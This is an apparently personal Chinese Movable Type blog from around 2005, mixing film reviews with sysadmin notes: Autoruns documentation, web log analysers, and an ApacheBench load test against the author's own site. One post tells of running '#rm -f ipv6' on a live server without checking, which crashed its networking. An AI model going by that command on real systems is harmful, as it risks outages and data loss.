  这让我想起了同样没跨过这道坎儿的另一条好汉,‘Leon’里的Leon。Leon和小女孩在一起的第一个晚上,小女孩睡着后Leon从椅子里暴起荷枪实弹潜至她身边,以枪指其头,犹豫再三而终未下手。于是最后Leon只好为她死。当然Leon对于小女孩爱和同情哪一个更多些很难说,但这更证明了’英雄难过美人关‘的此言非虚性-有一些些情意都尚且如此,情深意厚那还了得?!类似的其他好汉还有很多,个个都是生龙活虎,敢爱敢恨的性情中人。在此就不进一步提供黑名单,免得没看过的同志看起来没了悬念,要我承担责任。
 
  好吧,我们的主人公Carlito不幸的也是此类好汉之一,所以在片尾,他为了Gail,不能逃脱肚子上挨几枪的命运。他倒下之后的一段堪称经典。火车站墙上贴的一幅写着’Escape to Paradise‘的某海岛广告画慢慢地活了。金色的夕阳斜照岸边,风物如画,似乎都闻得到风中湿润的海的湿气,却又时辰已晚,一切朦朦胧胧,亦幻亦真。棕榈树下依稀看得出是Gail在翩翩起舞,姿态曼妙,风韵无限。她身边有几个小孩子正玩耍嬉戏,无忧无虑。Carlito的独白贯穿这最后一幕。他没有回顾任何事情,他只是在展望,在想象。他相信他的遗腹子会被Gail养育成一个更棒的Carlito;他幻想他若真的和Gail去到了那个天堂般的小岛,会是什么情境。收尾的几句真是连英雄听了都要掉几滴虎泪,几乎不忍再写一遍:’Get the milkshakes baby, last call for the drinks. The bar is closed and down. Sun is out. Where we go for breakfast? Don’t wanna go far, rough night. Tired baby, Tired………’(插一句,此等意境颇似我中土之两句古词‘为君沉醉又何妨,只恐酒醒时候断人肠’)
 
  一夜狂欢,直至酒肆闭门。小寐片刻,便已天亮。亲爱的,最亲爱的,你想我们去哪儿吃早饭呢?不要去太远的地方吧,宿醉仍未过去。昨夜很开心,却也很伤神。去个近的地方,叫‘天堂’的地方好么。我累了,亲爱的,真的累了……….这段话若不是因为他就要死了,也许就不那么回肠荡气。可它分明是一语双关,明写在世外小岛上彻夜狂欢,次晨慵懒,‘我醉欲眠君且去’;实写他人生最后的感受。这一辈子就像瞎折腾了一夜,好不容易熬到天亮了,该有新的生活了,却发现已疲惫不堪,寸步难移。找个地方休息一下吧,不想在人生的荆棘路上再跋涉的更远了。有个近的,容易的去处,叫天堂……….. 何必呢,Carlito。何必呢,Leon。当初你明明能选择,避开这种结局。都是为了女人,为了放不开的真挚的爱。也许还不如像’Age of Innocence’里的男主人公(Daniel Day Louis),毅然抛弃了他的真爱,与家族安排的女子结婚(Wyona Ryder),成功的避免了身败名裂,横死非命等等观众喜闻乐见的下场。可是有一天,他老了,他走到他真正爱的女子年轻时住过的小楼下举头凝望,她真情的眼神,盈盈的笑靥,在他心里仍栩栩如生,活色生香,宛若当年。他呆在那儿,良久,良久,无语凝噎。
 
  所以我以为那不是真正的人生,对得起自己的路。想做的事情,就去做。想要的东西,就去抢。做不到,抢不来,毋宁死。
 
  莫待无花空折枝。

覆雨翻云,苍天啊

| | Comments (0) | TrackBacks (0)
看到“覆雨翻云”,以为黄易的最有名的作品终于可以搬上荧屏了。。。。
结果看到下面的剧本。。
改编的,什么不说了,简直是对原著的一种侮辱。从剧情到主人公,全部都改变了,苍天哪!!
 
故事简介:
 
王者剑覆雨 中原刀翻云
两大神兵利器 背负民族恩仇
 
因缘际会
 
明朝,社会安定。风行烈(林峰饰)虽为蒙古王族后人,但因短暂失忆,对国仇家恨,没有概念,反培养出逍遥的个性,追求爱情、希望逍遥山林。风行烈为搏红颜靳冰云(郭羡妮饰)一笑,决定盗取重现江湖的覆雨剑,结果遇上了韩柏(黄宗泽饰)。韩柏,燕王府内的小厮,不懂武功,却因缘际会得到覆雨剑,谁料宝剑被风行烈盗去。韩柏誓要取回宝剑,二人不打不相识。世事多变,韩柏遇上当世高手赤尊信(郭峰饰)把毕生内力传授给他,令他一夜之间成为高手。相反,风行烈却被靳冰云出卖,成为大魔头庞班(郭政鸿饰)的练功炉鼎,结果庞班练成绝世魔功。风行烈却武功尽失,更被庞班追杀,险境中幸得韩柏相救。
 
情义两难存
 
韩柏和失散的生父虚若无(许绍雄饰)大将军相认。虚若无更将韩柏引荐到朱元璋(高雄饰)面前,自此,韩柏飞黄腾达。另边厢,原来庞班正是当年元朝的国师,他苦练魔功,密谋复国,并选了风行烈为领导同胞的王者。于是,他把风行烈迫到绝路,让他深切体会到在朱元璋统治底下,蒙古族人被迫害的惨况,让风行烈背起民族的责任。风行烈要颠覆明室江山,韩柏却是朱元璋身边红人,二人的矛盾立场,逐渐显现。
 
覆雨剑.翻云刀
 
风行烈知道要复国,最大的障碍是韩柏。韩柏的翻云刀法,出神入化,而且他接掌了浪翻云(姜大卫饰)的江湖第一帮:怒蛟帮。风行烈要打胜他,并无胜算。此时,庞班道出覆雨剑的秘密。原来覆雨剑乃王者之剑,内藏绝世武功:战神图录。开启战神图录,要倚靠「剑心通明」这种上乘心法,修练到「剑心通明」境界的,当今武林唯秦梦瑶(佘诗曼饰)一人。然而梦瑶乃慈航静斋大弟子,亦是明室江山的梁柱。风行烈唯有以爱情为手段,打动梦瑶。
 
同室操戈
 
朱元璋步入垂暮之年,明室中,最有才能者是燕王朱棣(麦包饰)。于是,风行烈利用离间计,嫁祸朱棣行刺父皇,令朱元璋对朱棣下格杀令。谁不知太孙允炆(李天翔饰)早已勾结了蒙古人,他才是内奸。允炆登基,下令禁军围捕朱棣,韩柏、梦瑶拼死突围,保护朱棣离开京师。允炆委任风行烈为削藩主帅,朱棣成立靖难军,演变成明室内讧,同室操戈。这时的风行烈已修练成覆雨剑法,武功比韩柏的翻云刀更高,两雄相遇,谁胜谁负?江山又会落入谁人之手?
20051227201841961.jpg

让mt支持按日归档

| | Comments (1) | TrackBacks (0)
mt默认没有启用按日归档,启用的方法很简单,在Settings -> Publishing Settings -> Archive Mapping中,选中“Daily”。就可以了
同时,如果启用了按日归档,就可以让blog的日历链接到一天的文章,而不是一篇文章了,这样也更符合我们的习惯。
修改日历代码中的“<a href="<$MTEntryPermalink$>"><$MTCalendarDay$></a>”改成“<a href="<$MTCalendarDate format="%Y/%m/%d/"$>"><$MTCalendarDay$></a>”。

Enemy Of The State

| | Comments (0) | TrackBacks (0)
网上没有找到关于这个的影评,随便写点
 
第一次看这个电影的时候,感觉只是cool。。然后大脑一片混乱,不知道这个电影讲的什么
第二次之后,就感觉,这部片子太棒了。
堪称perfect。
 
强烈推荐
 
 
 
enemy of the state.jpg
不多说了,软件说明贴到下面了。强烈推荐
 
 
This utility, which has the most comprehensive knowledge of auto-starting locations of any startup monitor (A starting list of auto-run locations was obtained from David Solomon's "Windows Internals" seminar), shows you what programs are configured to run during system bootup or login, and shows you the entries in the order Windows processes them. These programs include ones in your startup folder, Run, RunOnce, and other Registry keys. You can configure Autoruns to show other locations, including Explorer shell extensions, toolbars, browser helper objects, Winlogon notifications, auto-start services, and much more. Autoruns goes way beyond the MSConfig utility bundled with Windows Me and XP.
 
Autoruns' Hide Signed Microsoft Entries option helps you to zoom in on third-party auto-starting images that have been added to your system and it has support for looking at the auto-starting images configured for other accounts configured on a system. Also included in the download package is a command-line equivalent that can output in CSV format, Autorunsc.
 
You'll probably be surprised at how many executables are launched automatically!
 
Autoruns works on all versions of Windows including Windows XP 64-bit Edition (for x64) and Windows Server 2003 64-bit Edition (for x64).

 Autoruns.gif
 
 
Autorunsc Usage
Autorunsc is the command-line version of Autoruns. Its usage syntax is:
 
Usage: autorunsc [-a] | [-c] [-b] [-d] [-e] [-h] [-i] [-l] [-m] [-n] [-p] [-s] [-v] [-w] [user]
 
-a
Show all entries.
-b
Boot execute.
-c
Print output as CSV.
-d
Appinit DLLs.
-e
Explorer addons.
-h
Image hijacks.
-i
Internet Explorer addons.
-l
Logon startups (this is the default).
-m
Hide signed Microsoft entries.
-n
Winsock protocol providers.
-p
Printer monitor drivers.
-s
Autostart services and non-disabled drivers.
-t
Scheduled tasks.
-v
Verify digital signatures.
-w
Winlogon entries.
user
Dump autoruns for the specified user account

Analyzing Web Server Logs

| | Comments (0) | TrackBacks (0)
Log files are not fun to look at. They are ugly, contain too much information, and often lead to massive headaches. Fortunately, these beasts can be tamed for more capacities than just debugging; they can used to generate wonderful reports that make sense. A number of programs are out there to analyze Web server logs, and this article will cast the spotlight in their direction.
 
Before evaluating the software packages, determine the type of data you wish to see. Although most of the software we looked at supports more than just Web server logs, this article discusses only Web server output. Log analysis programs can show everything from a list of IP addresses connected to the Web server to a pie chart detailing which files were accessed most often. The majority of popular Web log analysis tools try to make sense of every piece of data in the logs, but few succeed in making the data readable.
 
Some log file analysis packages cannot distinguish pertinent information from the raw log file itself. Displaying statistics in an aesthetically pleasing manner is a very important attribute. Every once in a while, user interface designers create a new paradigm, setting a standard that other designers attempt to emulate. Arguably, Apple has done this with its OS X desktop environment, and some Web log analysis programs do this better than others.
 
Webalizer is one popular log analysis tool. Many people prefer it because it is written in C and runs quite fast. The graphics, however, are not optimal. The gd graphics library supplies some readable charts, but they are not as aesthetically attractive as they could be. The reports themselves are sufficient for providing a quick glimpse of a few important data points; namely "what pages are accessed" and "how many hits are we getting." A wealth of information can be extracted from Web logs. When done properly, the information is not so overwhelming. Webalizer is adequate, but its mediocre graphics and lack of statistics, earn it a mere three stars in our five-star ad hoc award system.
 
Analog, favored by a small group of die-hard fans, is another worthy contender. Analog attempts to present everything, but it is an example of how to include too much information for normal human consumption. By default, everything is displayed on the same Web page. A navigation bar at the top allows users to click on a specific report, which drills down to another section of the page. Analog's saving grace is the navigation bar at the top of each section, which simplifies the navigation — somewhat. Analog's more interesting reports include listings of: how many hits come from each country (TLD, actually), search engine queries that brought users to the Web site, and which browsers and operating systems visitors used. The software is capable of presenting just about everything else derivable from Web server logs. The graphics are a slight improvement over Webalizer gd-based graphics, but the pie and bar charts still leave much to be desired. Because Analog includes much useful information, and the navigation isn't completely unusable, we feel it deserves an apprehensive four out of five stars.
 
Summary is a commercial log analysis tool for which a 30-day trial is available. This package includes all possible information and lists options in a text Web page for users to click on. When you follow a link, for example, "Bandwidth Peak," you are brought to fairly decent Web page that lists bandwidth usage by time. A small bar graph accompanies each entry, but the graphics in Summary are quite minimal. Here, minimal is not a defect. Quite the contrary; Summary is really decent looking. However, the overall GUI is cumbersome, and it took us a good bit of time to browse to each report we wished to see. The cost of Summary is not prohibitive, and the reports are decent, albeit not awe-inspiring. We rate it four out of five.
 
No discussion of Web log analysis software would be complete without at least a nod to WebTrends. The sheer scope of WebTrends Web Log Analyzer (another commercial offering) earns it an honorable mention here. Its Web site makes the auspicious claim of increasing return on investment, and even asserts "This is Complete Web Analysis." Not surprisingly, WebTrends is not for organizations with skinny wallets. The online demos reflect how great GUI design should look, and it does indeed look great. The company's claims of usability appear founded, and it has even included a way to access all of the information available from Web server logs. WebTrends has been around for more than a decade and plays nicely with IIS. We are giving it four out of five stars, based solely on what we learned in the product's impressive Web-based demo.
 
The grail of log analysis, AWStats, is by far the best looking of all of the Free Web log analysis tools we've seen. AWStats is also the only Perl-based application on the list. Its graphics are superb, and its information is presented in an excellent manner. At a glance, users can view all available reports and navigate seamlessly between them. Many users will be amazed at the amount of detail the program can extract from the log files. Small browser icons and flags for various countries add to the already-pleasing GUI. AWStats includes all of the features mentioned above for other programs, and is in a readable format, to boot. We give it the full five stars.
 
Of course, there are countless other log analysis programs, but these are the more commonly deployed ones.
 
Compatibility, which is normally a key issue, is not a great concern when it comes to log analysis tools. The Apache Web server produces logs in a standardized format, called NCSA combined log files. IIS W3C conformant format is also supported by most of the analysis programs listed here.
 
In a later article, we will explore the other types of log files most of these programs can work on, including mail and FTP.

web log分析

| | Comments (2) | TrackBacks (0)
我需要一个web分析软件。应该具有如下的功能:
1、具有普通log分析的功能
2、可以记录每个页面访问时提交的信息,比如asp?后面的内容
3、可以具体分析出访问某个具体页面的visitors。或者可以查看某个visitor访问过的页面
 
第一条似乎100%的log分析软件实现了。
第二条似乎大部分分析软件都去掉了:(
第三条支持的也不多,我只见过一个
 
 
今天测试了n个log分析软件。发现还是一个叫做web log explorer的符合要求,而且是他的pro版本。免费试用30,我没有找到破解。。
 
主要功能如下图。
 
 
 
2005-12-27_15-28-07.jpg 2005-12-27_15-28-16.jpg 2005-12-27_15-28-22.jpg 2005-12-27_15-28-43.jpg

给blog增加了一段mybloglog的代码

| | Comments (0) | TrackBacks (0)
今天受到dba notes 的提示,给站点增加了一段mybloglog的代码。
效果就是可以看到每个连接的点击次数以及从什么站点链接过来的。可惜的是,注册后属于MyBlogLog Pro类型,只能使用3天,3天之后不交费就变成了free类型,也就无法看到详细的log了。但也足够了:)
唯一不爽的地方,修改时区只能是pro帐户修改,虽然我现在是试用pro帐户,也应改可以吧,可惜,不行。。。于是我现在属于了USA - New York City - New York (GMT -0500)。。
 
 
2005-12-27_09-15-03.jpg

法律书店终于关闭了。。。

| | Comments (2) | TrackBacks (0)
今天从法律书店走过,发现我们的法律书店已经变成了 “丰顺兴大酒店”。。。。。
 
以前还和朋友讨论为什么法律书店没有倒闭,结果变成现实了。。

Life Is Beautiful

| | Comments (0) | TrackBacks (0)
2005-12-26_22-07-59.jpg
 
   
《美丽人生》是一部意大利影片,一部非常优秀的电影作品。
 
  影片的时间背景二战时期,主人翁是一个幽默而乐观的年轻的犹太人,如千百万的犹太人一样,老实努力勤奋地工作着。
  影片在舒缓的音乐,优美的田园风光中拉开了序幕。主人翁与他的朋友开着一辆老式的跑车开始了“惊心动魄”的旅程。车子终于停下来了,一个美丽的姑娘忽然从天而降坠入了他的怀中,姓丘的那个小家伙的箭就在那一瞬间击中他了。“哦,我的公主,”年轻的犹太人的绅士般的优雅风度把姑娘逗笑了。
  在城里的又一次偶然的邂逅,小伙子开始为姑娘神魂颠倒和辗转反侧了,于是,他使出浑身解数,虽然他只是一个小小的酒吧生,虽然姑娘有一个做高官的未婚夫,可他还是勇往直前,终于在姑娘的订婚宴席上,作为应侍生的他骑着涂得五颜六色的高头大马把姑娘接到了他的摆满鲜花的小房子里。
  下面是蒙太奇的手法,从花房里出来了一个五、六岁的孩子,他们的孩子。主人翁也在市中心开了家小书店,小日子过得和和美美。
  那个时候,因为战争,形势有些紧张了。虽然他们所在的城市虽然并没有受到战争的袭击,但已经被纳粹党统领了,街上的商店很多都写着“犹太人与狗不得入内”。孩子十分不解,问父亲:为什么?
  怎么回答孩子呢?战争可以说是战争狂人们玩的游戏,但对于孩子来讲,却是真正的灾难,怎么能告诉他因为他是犹太人就必须遭受不公平的待遇?怎么能让他幼小的心受到如此的打击?
  父亲对儿子讲:“别人不喜欢啊,就象前面的商店不喜欢中国人和马,而再前面的商店不喜欢印度人一样,别人不喜欢你有什么办法。你不喜欢什么?”
  儿子说:“蜘蛛!”
  父亲说:“我不喜欢野蛮人,明天我们在我们的书店写上蜘蛛和野蛮人不得入内!”
  明天就是儿子的生日了,夫妻俩十分高兴,想着要好好地庆祝,久不理睬女儿的外婆也要来了,来祝贺乖孙儿的生日。
  可是,当第二天妈妈接了外婆来到小屋的时候,不幸的事终于发生了,小屋一遍狼藉,儿子和丈夫已经不在了。
  爸爸和儿子被纳粹强行送到了集中营。在挤进如沙丁鱼罐头般拥挤不堪的火车里,爸爸对儿子说:“我说要在你的生日给你一个惊喜,看,这就是了,我带你做一个游戏,一个真正的游戏,如果我们赢了,就可以得一辆坦克,一辆真正的坦克。”
  影片的前面一直是喜剧,我一直在笑,笑得眼泪都出来了,而这时,我的眼眶又湿了,我的鼻子酸酸的,我的心开始痛了。
  母亲走到了纳粹的办公室,对那个纳粹分子说:“让我也去!”
  “女士,你不是犹太人,你可以不去。”
  “让我去,让我和我的丈夫我的儿子在一起。”母亲厉声地说。
  纳粹分子同意了。
  他们被送到了集中营,虽然是在同一个地方,可是男女分开,不能讲话,他们只有在偶尔在做工的时候四目相望。
  儿子与爸爸在一起,为了让儿子不受到战争和死亡的威胁和恐吓,父亲费尽了心思。当纳粹军官找翻译,给大家讲集中营的纪律的时候,不懂德语的父亲急忙充当翻译,他怕别人将真实的情况讲出来,吓着孩子了,军官一边讲着纪律,父亲一边“翻译”着游戏规则。
  每天都是干的十分重的体力活,累得不堪的爸爸回来时还是要做出非常轻松的样子,给儿子讲,“我们今天积了很多分了,我们领先了。”然后将自己省下的干面包给儿子吃。
  儿子却不能忍受这样恶劣的环境和枯燥的生活了,他毕竟是小孩子,他要回家了,不想做游戏了。父亲同意了,他说:“好吧,我们回家吧,虽然我们目前的分数是第一,大大地超过了别人,可是我们退出了,我们不想要那辆真坦克了。”
  儿子心动了:“我们真的是第一吗?”
  “那当然,”父亲说“我们让他们捡个便宜吧,我们不要坦克了,我们不想驾驶它了,我们要回家了。”
  “哦,爸爸,外面下着雨,我怕得感冒呢。”儿子转身向屋子里面跑去。
  父亲苦涩地笑了。
  就这样,儿子在父亲的保护下,奇迹般地身心健康地活了下来。父亲想了很多的办法想逃走,可是都行不通。
  那天晚上,屋外的警报响个不停,纳粹党开始大批大批运送犯人离开,父亲意识到,这是盟军攻打过来了,如果现在不走,一定会死在这里的。
  父亲抱着儿子,开始逃亡,虽然四面都是纳粹军队,他们还是快逃走了。父亲将儿子藏在屋外墙角边的一个废弃的柜子里,千叮呤万嘱咐,无论发生什么一定不能出来,熬过今夜就可以得到真坦克了。然后开始四处地寻找他的妻子,他一遍遍地叫着妻子的名字,一个个人地问妻子的下落。
  不幸发生了,他被纳粹发现了。
  纳粹分子押着他经过儿子藏身的柜子,他故着潇洒地大步向前,还向儿子的方向挥挥手。他被押到了一个角落处,两声枪响。
  第二天,四周静悄悄地,看不见一个人影了,儿子钻出了柜子,只听见一阵轰隆隆的声音,儿子睁大了眼睛,他的嘴巴也合不上了,来了一辆坦克,真正的坦克。
  坦克上的叔叔将孩子抱上坦克,对他说:“孩子,我们胜利了,盟军胜利了。”
  胜利的凯歌开始奏响,儿子戴着头盔,雄纠纠,气昂昂。“啊,妈妈,”孩子在被解救的人群中发现了他的妈妈。妈妈与儿子幸福地站在坦克上。
  画外音:这就是我的父亲送我的生日礼物!
  伟大的父爱!我忍不住潸然泪下。
  字幕,灯亮。
  感谢上帝,让我们生在这和平的年代,生在这太平盛世!让我们拥有这美丽人生!
 
一定得选最好的托管中心 
全套Cisco的网络设备加SUN的服务器 
建就建最酷的用户体验 
免费注册帐户 
每个帐户存储空间最少也得两个G 
什么AJAX呀、Tag呀、Rss呀 
能给他整地全部给他整上 
社区附带一个VIP区,有牛人7x24小时蹲点帮你解惑 
Blog上常驻一个叫Keso的家伙 
留小辫儿,特大牛的那种 
只要一打开页面,甭管有事没事都得用Skype跟人家说 
“你丫赶紧给我注册!” 
一口地道的京片子 
倍儿有面子 
网站里还要建一个wiki系统 
全部翻译自维基百科 
每天翻译量起码百兆计算吧 
再建一个站内搜索 
支持所有内容全文检索 
文本呀、RSS呀、Blog呀,你要搜什么我给你找出什么 
就是一个字——快 
全站搜一次才用0.00001秒 
在这里注册用户的不是CEO就是网络精英 
你要是分不清Blog和WebLog 
你都不好意思去TrackBack人家 
你说这样的网站,VC会投多少? 
我觉得怎么着也得两千万美金吧? 
两千万美金?那是成本 
四千万美金起 
你别嫌贵,我还挑东家呢 
你得研究VC的投资心理 
能掏起两千万的主儿 
根本不在乎再掏两千万 
什么叫Blogger,你知道吗? 
Blogger挑服务商都用最2.0的,不用最好的 
所以,我们做web2.0的口号就是: 
不求最好,但求最2  
 
 

刚才一条命令让服务器挂掉了

| | Comments (1) | TrackBacks (0)
刚才发现服务器启用了ipv6模块,于是想想用不到,关闭吧
上网查了下资料,有人说用命令,我想也没想,就执行了,然后。。挂了。。还好,重新启动后正常了。。
命令是
#rm -f ipv6
 
估计是让系统的网络部分挂了:0
还好没有其他影响,停机了不到20分钟把:)
 
 
DSC00134.JPG

对apache2进行压力测试

| | Comments (2) | TrackBacks (0)
测试一下apache2性能。
首先,最基本的,使用apache2的参数
 
ab 参数:
Usage: /usr/sbin/ab [options] [http[s]://]hostname[:port]/path
Options are:
    -n requests     Number of requests to perform
    -c concurrency  Number of multiple requests to make
    -t timelimit    Seconds to max. wait for responses
    -p postfile     File containg data to POST
    -T content-type Content-type header for POSTing
    -v verbosity    How much troubleshooting info to print
    -w              Print out results in HTML tables
    -i              Use HEAD instead of GET
    -x attributes   String to insert as table attributes
    -y attributes   String to insert as tr attributes
    -z attributes   String to insert as td or th attributes
    -C attribute    Add cookie, eg. 'Apache=1234' (repeatable)
    -H attribute    Add Arbitrary header line, eg. 'Accept-Encoding: zop'
                    Inserted after all normal header lines. (repeatable)
    -A attribute    Add Basic WWW Authentication, the attributes
                    are a colon separated username and password.
    -P attribute    Add Basic Proxy Authentication, the attributes
                    are a colon separated username and password.
    -X proxy:port   Proxyserver and port number to use
    -V              Print version number and exit
    -k              Use HTTP KeepAlive feature
    -d              Do not show percentiles served table.
    -S              Do not show confidence estimators and warnings.
    -g filename     Output collected data to gnuplot format file.
    -e filename     Output CSV file with percentages served
    -s              Use httpS instead of HTTP (SSL)
    -h              Display usage information (this message)

ex: 要执行 1000 次的 connection, 20 次的 concurrent (并行,同时).

语法: ab -n 1000 -c 20 http://www.syxin.com/index.html

结果

Time taken for tests: 一共花费.(以上 1000 次共多久)

Requests per second: 每秒平均可以处理多少个 connection.

 

 

# ab -n 100000 -c 200 http://www.syxin.com/index.html
This is ApacheBench, Version 2.0.41-dev <$Revision: 1.141 $> apache-2.0
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/

Benchmarking www.syxin.com (be patient)
Completed 10000 requests
Completed 20000 requests
Completed 30000 requests
Completed 40000 requests
Completed 50000 requests
Completed 60000 requests
Completed 70000 requests
Completed 80000 requests
Completed 90000 requests
Finished 100000 requests


Server Software:        Apache/2.0.54
Server Hostname:        www.syxin.com
Server Port:            80

Document Path:          /index.htm
Document Length:        207 bytes

Concurrency Level:      200
Time taken for tests:   34.889229 seconds
Complete requests:      100000
Failed requests:        0
Write errors:           0
Non-2xx responses:      100013
Total transferred:      40805304 bytes
HTML transferred:       20702691 bytes
Requests per second:    2866.21 [#/sec] (mean)
Time per request:       69.778 [ms] (mean)
Time per request:       0.349 [ms] (mean, across all concurrent requests)
Transfer rate:          1142.13 [Kbytes/sec] received

Connection Times (ms)
              min  mean[+/-sd] median   max
Connect:        0   17 277.5      0   20997
Processing:     4   50 281.2     32   25913
Waiting:        4   49 280.1     31   25912
Total:         10   67 436.2     32   28912

Percentage of the requests served within a certain time (ms)
  50%     32
  66%     35
  75%     67
  80%     69
  90%     77
  95%     79
  98%     81
  99%    127
 100%  28912 (longest request)

郑渊洁的头部照片

| | Comments (0) | TrackBacks (0)
今天打开greatnews,就发现老郑的blog上更新了15篇文章。其中有一篇是自己的头部写真:)
有个性把
ps:老郑的blog地址:http://blog.sina.com.cn/m/zhyj
 
 
473abae60200019f.jpg

The Godfather

| | Comments (0) | TrackBacks (0)
the godfather.jpg
 
《教父》影评--悲剧的人性 孤独的人生
 
 
说起《教父》主角迈克尔的一生,很多人评价是一个由纯良转而走向无边的堕落,进而一步步蜕去人性的外壳的过程。人们似乎总是对老教父津津乐道,说他尽管手段非凡,但依然有温情脉脉的人性,而迈克尔几乎成为凶残,冷血,丧心病狂的代名词。其实,纵观《教父》,迈克尔的命运是我所了解的人物中最具悲剧性的,他一如鲁迅笔下孤独的斗士,在黑暗中踽踽独行。
 
《教父》三部是以迈克尔的命运为主线贯穿始终的,其宏大的叙事结构历来为人所称道,就其本质作用而言还是展现迈克尔的心路历程的载体。我们且除去迈克尔头上教父的光环,从人的本质角度来分析其命运的悲剧性,他悲剧的一生可以用一个词来概括:孤独。
 
父亲的意外
 
可以说,父亲一直都是迈克尔心目中的一座高峰。迈克尔不像第三代教父文森,本性中并没有狂热的权力欲,他对父亲的爱完全是出于亲情。他曾经说我不想成为他那样的人,但我爱他。这种爱之纯粹,使他听说父亲出事以后,不顾一切的去保护自己爱的人。在他赶到医院发现父亲面临再次被枪杀的生命危险时,镜头展现了最动人的一幕:他伏在父亲床头,轻轻抚摸着父亲苍老的脸,说没事的,爸爸,我来保护你,我和你在一起。接着吻着父亲的额头,不能动弹的父亲留下了一行热泪。在整个家族最危难的关头,在父亲生命随时受到威胁的时刻,他可以不考虑自己作出全部的牺牲,毅然担当起除去毒枭和警察局长的重任。请注意,在此之前他从未直接插手家族事务。我们看到,在第二部结束时闪回中迈克尔坚定的弃学参军,对自己的前途已有了规划,可是现在所有曾经积极参与家族事务的人都站到了一边,而由迈克尔以毁掉一生前途为代价来挽回父亲的性命。影片在塑造迈克尔的形象时非常注意眼神的运用,这也是帕西诺这位演员的伟大之处。迈克尔的目光一直都是非常坚定的注视着同一方向的,很多人评价说,你看着他空洞洞的目光,就会有不寒而栗的感觉,但在迈克尔要枪杀毒枭和警察局长时,他的目光是唯一一次散乱的时候。他并没有注视对方,而是低垂着头,像是不断的寻找什么东西,随着窗外火车声的临近,气氛越来越紧张,而迈克尔的眼神也越来越游离,最后,他毅然抬手射出了决定他命运的子弹。这一场的重点渲染主要是为了展现迈克尔在命运最大的转折点时的心理状态,从他眼神的暂时迷茫可以看出他正在进行多么激烈的思想斗争,因为他要付出的,是他的一生。至此之后,一如他冷峻的眼神,迈克尔走上了一条无可复加的道路。
 
父亲一直极力反对他卷入家庭事务,在其伤愈后听说是迈克尔除掉了仇敌时,镜头中出现的是父亲的逐渐暗淡的表情,摇头叹息之余闭上了双眼,作为父亲尚且对迈克尔前途已毁痛心疾首,迈克尔本人要承担多大的痛苦?但是迈克尔从来没有表现出这一点。在老教父与迈克尔花园谈话那一幕中,镜头处理的很巧妙,父子俩人一前一后,预示着两代人最后的交接,在镜头靠前的父亲说:我一直不希望你插手,希望你能出人头地,希望你成为可里昂州长。而处于靠后位置的迈克尔此时思考的问题已经不再单纯,他已经独自担当起了家族的事务。一方面,他要劝慰父亲对家族放心,一方面还要努力实现父亲一直以来希望他出任头地成为合法世界上层人物的希望,那句我告诉你我能支持的住,我就能需要多大的毅力在背后支撑啊!在父亲逝世以后,迈克尔可以说更加孤独,他在心灵上再也没有与之契合的人,唯一能够理解身处教父位置处境的父亲也离他远去,这种感觉在第二部中迈克尔一次与母亲对话中表现得淋漓尽致。房间的色调处理得很暗,唯一的亮光是壁炉的火焰照亮了迈克尔半边脸,预示着他极度矛盾的心理。他问母亲:告诉我爸爸的想法,他是很坚强吗,为这家族坚强,为家族他失败过吗?......这不是我的失去,而是整个家族的失去。母亲说:你不能让整个家族失去啊。可以说,整个家族的重任都由迈克尔一人来承担,他一直努力让自己坚强,为了家族的不失去而坚强,但这种坚强背后隐藏的却是令人心酸的孤独。
 
关于婚姻
 
婚姻是一种将两个人放在一起共同抵御孤独的形式,但迈克尔的婚姻却让他更加孤独。第一次婚姻是形式上的孤独,在被贴身保镖出卖后迈克尔亲眼看着美丽单纯的姑娘被炸身亡。而第二次与凯的婚姻是本质上的孤独。首先,影片设计凯这个形象是为了说明从普通人眼中看到迈克尔的感觉,因为她是唯一游离于这个家族以外的一个人,从凯的角度是理解不了迈克尔的,也就是说,迈克尔是不能被普通人理解的。但更深层的意义是,作为更重要的妻子的身份,凯同样不能理解迈克尔,妻子形同虚设。其实最开始她和迈克尔能走到一起说明他们有很多共同点,凯身上的很多优点迈克尔也有,可是事情是在变化的,凯却用一贯的要求来要求迈克尔。可以说在迈克尔为家族事业苦苦挣扎时,凯没有任何支持,却简单的将迈克尔理解为一个越来越丧心病狂的人,以至于这种看法到了极致凯将小孩人工流产了。最痛苦的是,妻子是迈克尔尽力保护的对象,他越是尽力的保护,妻子就离他越远。这种痛苦是巨大的,但是迈克尔一如既往地自己承受,抱着从来在历史中,这些人遇到可怕的事情,可怕的不义,但他们仍然预期着时来运转,厄运会过去的希望,维系着他们名存实亡的婚姻。只有到了第三部时,迈克尔才第一次向妻子坦言:我要你原谅我,一切,我需要某种更亲近的东西,你不能理解那段日子,我爱我的父亲,我发誓我永远不会和他一样,但我爱他,他有危险,我该怎么办?后来,你有了危险,我们的孩子有了危险,我该怎么办,你们是我在世上最珍爱的人,现在我正在失去你们,我已经失去你了,你走了,这一切都是枉然,因此......你得了解我,我对命运做过完全不同的计划,我并非你认定那种人,我在西西里的每一夜,我梦到我的妻儿,以及我是如何失去他们的。 但此时,迈克尔已经独自度过了大半生。
 
我的兄弟姐妹
 
